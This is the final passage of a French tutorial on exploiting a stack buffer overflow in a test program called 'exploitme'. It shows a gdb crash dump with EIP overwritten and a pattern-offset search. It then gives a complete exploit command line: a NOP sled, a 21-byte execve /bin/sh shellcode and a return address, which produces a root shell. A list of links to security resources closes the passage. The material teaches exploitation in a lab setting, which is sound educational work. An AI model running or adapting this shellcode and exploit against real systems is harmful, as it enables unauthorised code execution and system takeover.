End of assembler dump.

gdb\$ r `cat pattern.txt`

<- Nous allons appeler ce RET

Program received signal SIGSEGV, Segmentation fault.

```
-----[regs]
EAX: 00000001 EBX: B7FCAFFC ECX: 00000000 EDX: 00000001 o d I t S z a p c
ESI: BFFFF374 EDI: BFFFF300 EBP: 49314161 ESP: BFFFF2C0 EIP: 4A314161
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
```

```
[007B:BFFFF2C0]-----[stack]
BFFFF310 : F0 F2 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 .....M.....
BFFFF300 : FC AF FC B7 00 00 00 00 - 00 F3 FF BF 48 F3 FF BF .....H...
BFFFF2F0 : 02 00 00 00 74 F3 FF BF - 80 F3 FF BF 6C 5B FF B7 ....t.....][..
BFFFF2E0 : 00 00 00 00 E0 0C 00 B8 - 48 F3 FF BF 14 4E EB B7 .....H....N..
BFFFF2D0 : FC AF FC B7 FC AF FC B7 - 90 95 04 08 FC AF FC B7 .....
BFFFF2C0 : 61 41 FF BF 00 00 00 00 - E8 F2 FF BF 9B 84 04 08 aA.....
```

```
[007B:BFFFF2C0]-----[data]
BFFFF2C0 : 61 41 FF BF 00 00 00 00 - E8 F2 FF BF 9B 84 04 08 aA.....
BFFFF2D0 : FC AF FC B7 FC AF FC B7 - 90 95 04 08 FC AF FC B7 .....
BFFFF2E0 : 00 00 00 00 E0 0C 00 B8 - 48 F3 FF BF 14 4E EB B7 .....H....N..
BFFFF2F0 : 02 00 00 00 74 F3 FF BF - 80 F3 FF BF 6C 5B FF B7 ....t.....][..
BFFFF300 : FC AF FC B7 00 00 00 00 - 00 F3 FF BF 48 F3 FF BF .....H...
BFFFF310 : F0 F2 FF BF D2 4D EB B7 - 00 00 00 00 00 00 00 00 .....M.....
BFFFF320 : 00 00 00 00 F8 0F 00 B8 - 02 00 00 00 00 83 04 08 .....
BFFFF330 : 00 00 00 00 A0 5A FF B7 - B0 66 FF B7 F8 0F 00 B8 ....Z....f.....
```

```
[0073:4A314161]-----[code]
```

0x4a314161: Error while running hook_stop:

Cannot access memory at address 0x4a314161

0x4a314161 in ?? ()

gdb\$ q

bt ~ # perl pattern_manager.pl s 160 4A314161

length of the pattern : 160

char 1 = a

char 2 = A

char 3 = l

char 4 = J

searching "aA1J" in the pattern...

position of "aA1J" in the pattern : **140**

<- donc 119 nops puis le shellcode de 21 octets

bt ~# exploitme `perl -e 'print("\x90"x119 . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x30\x84\x04\x08")'

bt root #

<- Le shellcode s'est bien exécuté et voici un shell

6/ ressources

Très bon site traitant des diverses failles applicatives : <http://www.ghostsinthestack.org>

Création/téléchargement de shellcode : <http://www.shell-storm.org/>
<http://projectshellcode.com/>

Communauté francophone très accueillante et pointue : <https://forum.zenk-security.com/>

Le passage obligatoire : <http://insecure.org/stf/smashstack.html>

Article de clad, la personne qui a découverte les ret on ret : <http://ivanlef0u.fr/repo/zines/n0name-mag/papers/ret-onto-ret.txt>

Textes sur l'exploitation avancé de buffers overflow : <http://lasecwww.epfl.ch/~oechslin/advbof.pdf>
<http://www.ouah.org/BO-RedKod.html>

Très bonne distribution pour les tests : www.damnulnerablelinux.org/

L'outil pattern_manager : <http://sourceforge.net/projects/patternmanager/>